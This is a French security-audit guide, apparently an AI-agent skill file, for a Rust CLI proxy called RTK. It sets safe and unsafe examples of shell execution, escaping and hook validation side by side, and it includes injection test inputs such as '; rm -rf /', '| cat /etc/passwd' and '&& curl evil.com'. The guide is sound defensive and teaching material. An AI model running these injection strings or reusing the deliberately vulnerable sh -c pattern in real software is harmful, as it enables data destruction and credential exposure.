Security Guardian
Analyse de sécurité complète pour l'outil RTK CLI, en se concentrant sur l'injection de commandes, l'échappement de shell, la sécurité des hooks, et la gestion des entrées malveillantes.
Quand l'utiliser
- Automatiquement déclenché : Après les modifications de filtres, la logique d'exécution de commande shell, les modifications de hooks
- Invocation manuelle : Avant la publication, après les modifications de code sensibles à la sécurité
- De manière proactive : Lors de la gestion des entrées utilisateur, de l'exécution de commandes shell, ou de l'analyse de sorties non fiables
Modèle de menace de sécurité RTK
RTK fait face à des défis de sécurité uniques en tant que proxy CLI qui :
- Exécute des commandes shell basées sur les entrées utilisateur
- Analyse les sorties de commandes non fiables (git, cargo, gh, etc.)
- S'intègre aux hooks Claude Code (rtk-rewrite.sh, rtk-suggest.sh)
- Route les commandes de manière transparente (vecteurs d'injection de commandes)
Catégories de menaces
| Menace | Sévérité | Impact | Atténuation |
|---|---|---|---|
| Injection de commandes | 🔴 CRITIQUE | Exécution de code à distance | Validation des entrées, échappement de shell |
| Échappement de shell | 🔴 CRITIQUE | Exécution arbitraire de commandes | Échappement spécifique à la plateforme |
| Injection de hook | 🟡 ÉLEVÉ | Détournement de hook, interception de commandes | Vérification des permissions, validation de signature |
| Sortie malveillante | 🟡 MOYEN | Crash RTK, DoS | Analyse robuste, gestion d'erreurs |
| Traversée de répertoires | 🟢 BAS | Accès aux fichiers en dehors de filters/ | Désinfection des chemins |
Workflow d'analyse de sécurité
1. Identification des menaces
Questions à poser pour chaque modification de code :
Validation des entrées :
- Ce code accepte-t-il une entrée utilisateur ?
- L'entrée est-elle validée avant utilisation ?
- Les caractères spéciaux (;, |, &, $, `, \, etc.) peuvent-ils poser problème ?
Exécution de shell :
- Ce code exécute-t-il des commandes shell ?
- Les arguments de la commande sont-ils correctement échappés ?
- std::process::Command est-il utilisé (sûr) ou shell=true (dangereux) ?
Analyse de sortie :
- Ce code analyse-t-il la sortie de commandes externes ?
- Une sortie mal formée peut-elle causer des paniques ou des crashs ?
- Les motifs regex sont-ils testés contre les entrées malveillantes ?
Intégration de hooks :
- Ce code modifie-t-il des hooks ?
- Les permissions des hooks sont-elles validées (bit exécutable) ?
- L'intégrité du code source du hook est-elle vérifiée ?
2. Motifs d'audit de code
Détection d'injection de commandes :
// 🔴 CRITIQUE : Vulnérabilité d'injection de shell
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // DANGEREUX !
std::process::Command::new("sh")
.arg("-c")
.arg(&cmd) // L'attaquant peut injecter : `; rm -rf /`
.spawn();
// ✅ SÛR : Utiliser le constructeur Command, pas le shell
use std::process::Command;
let user_input = env::args().nth(1).unwrap();
Command::new("git")
.arg("log")
.arg(&user_input) // Passé de manière sûre comme argument, non interprété par le shell
.spawn();
Vulnérabilité d'échappement de shell :
// 🔴 CRITIQUE : Pas d'échappement des caractères spéciaux
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
let full_cmd = format!("{} {}", cmd, args.join(" "));
Command::new("sh")
.arg("-c")
.arg(&full_cmd) // DANGEREUX : args non échappés
.output()
}
// ✅ SÛR : Utiliser le constructeur Command, échappement automatique
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
Command::new(cmd)
.args(args) // Échappés de manière sûre par l'API Command
.output()
}
Gestion de sortie malveillante :
// 🔴 CRITIQUE : Panique sur sortie inattendue
fn filter_git_log(input: &str) -> String {
let first_line = input.lines().next().unwrap(); // Panique si vide !
let hash = &first_line[7..47]; // Panique si la ligne est trop courte !
hash.to_string()
}
// ✅ SÛR : Gestion d'erreur gracieuse
fn filter_git_log(input: &str) -> Result<String> {
let first_line = input.lines().next()
.ok_or_else(|| anyhow::anyhow!("Entrée vide"))?;
if first_line.len() < 47 {
bail!("Format de git log invalide");
}
Ok(first_line[7..47].to_string())
}
Prévention d'injection de hook :
# 🔴 CRITIQUE : Hook ne vérifiant pas la source
#!/bin/bash
# rtk-rewrite.sh
# Exécuter la commande sans validation
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEREUX !
# ✅ SÛR : Valider l'environnement du hook
#!/bin/bash
# rtk-rewrite.sh
# Vérifier que l'exécution se fait dans le contexte Claude Code
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
echo "Erreur : Non exécuté dans le contexte Claude Code"
exit 1
fi
# Valider que le binaire RTK existe et est exécutable
if ! command -v rtk >/dev/null 2>&1; then
echo "Erreur : Binaire rtk introuvable"
exit 1
fi
# Exécuter avec un chemin explicite (pas de détournement de PATH)
/usr/local/bin/rtk "$@"
3. Tests de sécurité
Tests d'injection de commandes :
#[cfg(test)]
mod security_tests {
use super::*;
#[test]
fn test_command_injection_defense() {
// Entrée malveillante : tentative d'injection de shell
let malicious_inputs = vec![
"; rm -rf /",
"| cat /etc/passwd",
"$(whoami)",
"`id`",
"&& curl evil.com",
];
for input in malicious_inputs {
// NE DOIT PAS exécuter les commandes injectées
let result = execute_command("git", &["log", input]);
// Soit :
// 1. Retourner une erreur (la commande échoue de manière sûre), OU
// 2. Traiter l'entrée comme une chaîne littérale (pas d'interprétation par le shell)
// Les deux sont acceptables - il ne faut juste pas exécuter l'injection !
}
}
#[test]
fn test_shell_escaping() {
// Caractères spéciaux qui nécessitent un échappement
let special_chars = vec![
";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
];
for char in special_chars {
let arg = format!("test{}value", char);
let escaped = escape_for_shell(&arg);
// La version échappée NE DOIT PAS être interprétée par le shell
assert!(!escaped.contains(char) || escaped.contains('\\'));
}
}
}
Tests de sortie malveillante :
#[test]
fn test_malicious_output_handling() {
// Sorties mal formées qui pourraient faire crasher RTK
let malicious_outputs = vec![
"", // Vide
"\n\n\n", // Seulement des sauts de ligne
"x".repeat(1_000_000), // 1 Mo de 'x' (épuisement mémoire)
"\x00\x01\x02", // Données binaires
"\u{FFFD}".repeat(1000), // Caractères de remplacement Unicode
];
for output in malicious_outputs {
let result = filter_git_log(&output);
// Doit soit :
// 1. Retourner Ok avec la sortie filtrée, OU
// 2. Retourner Err (échec gracieux)
// Les deux sont acceptables - il ne faut juste pas paniqué !
assert!(result.is_ok() || result.is_err());
}
}
Liste de contrôle des vulnérabilités de sécurité
Injection de commandes (🔴 Critique)
- [ ] Pas de shell=true : Ne jamais utiliser
.arg("-c")avec une entrée utilisateur - [ ] Constructeur de commande : Utiliser l'API
std::process::Command(pas des chaînes de shell) - [ ] Validation des entrées : Valider/désinfecter avant l'exécution de la commande
- [ ] Approche whitelist : Autoriser uniquement les commandes connues comme sûres
Détection :
# Trouver l'exécution de shell dangereuse
rg "\.arg\(\"-c\"\)" --type rust src/
rg "std::process::Command::new\(\"sh\"\)" --type rust src/
rg "format!.*\{.*Command" --type rust src/
Échappement de shell (🔴 Critique)
- [ ] Spécifique à la plateforme : Tester l'échappement sur macOS, Linux, Windows
- [ ] Caractères spéciaux : Gérer
;,|,&,$,`,\,",',\n - [ ] Utiliser la crate shell-escape : Ne pas réinventer l'échappement
- [ ] Tests multi-plateforme : Tests
#[cfg(target_os = "...")]
Détection :
# Trouver les problèmes d'échappement potentiels
rg "format!.*\{.*args" --type rust src/
rg "\.join\(\" \"\)" --type rust src/
Sécurité des hooks (🟡 Élevé)
- [ ] Vérifications de permissions : Vérifier que les hooks sont exécutables (
-rwxr-xr-x) - [ ] Validation de source : Exécuter uniquement les hooks de
.claude/hooks/ - [ ] Validation d'environnement : Vérifier
$CLAUDE_CODE_HOOK_BASH_TEMPLATE - [ ] Pas d'évaluation dynamique : Pas de
evalousourcede fichiers non fiables
Liste de contrôle de sécurité des hooks :
#!/bin/bash
# rtk-rewrite.sh
# 1. Vérifier le contexte Claude Code
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
exit 1
fi
# 2. Vérifier que le binaire RTK existe
if ! command -v rtk >/dev/null 2>&1; then
exit 1
fi
# 3. Utiliser un chemin absolu (prévenir le détournement de PATH)
RTK_BIN=$(which rtk)
# 4. Valider la version de RTK (prévenir les attaques de rétrogradation)
if ! "$RTK_BIN" --version | grep -q "rtk 0.16"; then
echo "Avertissement : Incompatibilité de version RTK"
fi
# 5. Exécuter avec un chemin explicite
"$RTK_BIN" "$@"
Sortie malveillante (🟡 Moyen)
- [ ] Pas de .unwrap() : Utiliser
Resultpour l'analyse, gestion d'erreur gracieuse - [ ] Vérification des limites : Vérifier les longueurs de chaînes avant le découpage
- [ ] Timeouts regex : Prévenir ReDoS (Regular Expression Denial of Service)
- [ ] Limites de mémoire : Limiter la taille de la sortie avant analyse
Motif d'analyse sûre :
fn safe_parse(output: &str) -> Result<String> {
// 1. Vérifier la taille de la sortie (prévenir l'épuisement mémoire)
if output.len() > 10_000_000 {
bail!("Sortie trop volumineuse (>10 Mo)");
}
// 2. Valider le format (prévenir les entrées mal formées)
if !output.starts_with("commit ") {
bail!("Format de git log invalide");
}
// 3. Vérification des limites (prévenir les paniques)
let first_line = output.lines().next()
.ok_or_else(|| anyhow::anyhow!("Sortie vide"))?;
if first_line.len() < 47 {
bail!("Hash de commit trop court");
}
// 4. Extraction sûre
Ok(first_line[7..47].to_string())
}
Bonnes pratiques de sécurité
Validation des entrées
Approche whitelist (plus sûre que la blacklist) :
fn validate_command(cmd: &str) -> Result<()> {
// ✅ SÛR : Whitelist des commandes connues comme sûres
const ALLOWED_COMMANDS: &[&str] = &[
"git", "cargo", "gh", "pnpm", "docker",
"rustc", "clippy", "rustfmt",
];
if !ALLOWED_COMMANDS.contains(&cmd) {
bail!("Commande '{}' non autorisée", cmd);
}
Ok(())
}
// ❌ NON SÛR : Approche blacklist (facile à contourner)
fn validate_command_unsafe(cmd: &str) -> Result<()> {
const BLOCKED: &[&str] = &["rm", "dd", "mkfs"];
if BLOCKED.contains(&cmd) {
bail!("Commande '{}' bloquée", cmd);
}
Ok(())
// L'attaquant peut utiliser : /bin/rm, rm.exe, RM (variation de casse), etc.
}
Échappement de shell
Utiliser une bibliothèque dédiée :
use shell_escape::escape;
fn escape_arg(arg: &str) -> String {
// ✅ SÛR : Utiliser une bibliothèque d'échappement éprouvée
escape(arg.into()).into()
}
// ❌ NON SÛR : Réinventer l'échappement (risque de bugs)
fn escape_arg_unsafe(arg: &str) -> String {
arg.replace('"', r#"\""#) // Omet de nombreux caractères spéciaux !
}
Échappement spécifique à la plateforme :
#[cfg(target_os = "windows")]
fn escape_for_shell(arg: &str) -> String {
// Échappement PowerShell
format!("\"{}\"", arg.replace('"', "`\""))
}
#[cfg(not(target_os = "windows"))]
fn escape_for_shell(arg: &str) -> String {
// Échappement Bash/zsh
shell_escape::escape(arg.into()).into()
}
Exécution sécurisée de commandes
Toujours utiliser le constructeur Command :
use std::process::Command;
// ✅ SÛR : Constructeur Command (pas de shell)
fn execute_git(args: &[&str]) -> Result<Output> {
Command::new("git")
.args(args) // Échappés de manière sûre
.output()
.context("Impossible d'exécuter git")
}
// ❌ NON SÛR : Concaténation de chaînes de shell
fn execute_git_unsafe(args: &[&str]) -> Result<Output> {
let cmd = format!("git {}", args.join(" "));
Command::new("sh")
.arg("-c")
.arg(&cmd) // Le shell interprète les args !
.output()
}
Référence des commandes d'audit de sécurité
Trouver les vulnérabilités potentielles :
# Injection de commandes
rg "\.arg\(\"-c\"\)" --type rust src/
rg "format!.*Command" --type rust src/
# Échappement de shell
rg "\.join\(\" \"\)" --type rust src/
rg "format!.*\{.*args" --type rust src/
# Unwraps non sûrs (peuvent paniqué avec une entrée malveillante)
rg "\.unwrap\(\)" --type rust src/
# Violations des limites
rg "\[.*\.\.\.\]" --type rust src/
rg "\[.*\.\.]" --type rust src/
# Sécurité des hooks
rg "eval|source" --type bash .claude/hooks/
Réponse aux incidents
Si une vulnérabilité est découverte :
- Évaluer la sévérité : Utiliser la notation CVSS (Critique/Élevé/Moyen/Bas)
- Développer un correctif : Corriger la vulnérabilité dans une branche isolée
- Tester le correctif : Vérifier avec les tests de sécurité + les tests d'intégration
- Publier un correctif d'urgence : Incrémenter la version PATCH (ex : v0.16.0 → v0.16.1)
- Divulguer de manière responsable : GitHub Security Advisory, CVE si applicable
Exemple de modèle d'avis :
## Avis de sécurité : Injection de commandes dans rtk v0.16.0
**Sévérité** : CRITIQUE (CVSS 9.8)
**Versions affectées** : v0.15.0 - v0.16.0
**Corrigé dans** : v0.16.1
**Description** :
Les versions RTK 0.15.0 à 0.16.0 sont vulnérables à l'injection de commandes
via les noms de dépôts git malveillants. Un attaquant peut exécuter des
commandes shell arbitraires en créant un dépôt avec des caractères spéciaux
dans le nom.
**Impact** :
Exécution de code à distance avec les privilèges de l'utilisateur.
**Atténuation** :
Mettre à jour vers v0.16.1 immédiatement. En solution temporaire, évitez
d'utiliser RTK dans les répertoires avec des noms de dépôts non fiables.
**Crédits** :
Signalé par : Nom du chercheur en sécurité
Ressources de sécurité
Outils :
cargo audit- Analyse de vulnérabilités de dépendancescargo-geiger- Détection de code unsafecargo-deny- Application de politique sur les dépendancessemgrep- Analyse statique pour les motifs de sécurité
Exécuter les vérifications de sécurité :
# Vulnérabilités de dépendances
cargo install cargo-audit
cargo audit
# Détection de code unsafe
cargo install cargo-geiger
cargo geiger
# Analyse statique
cargo install semgrep
semgrep --config auto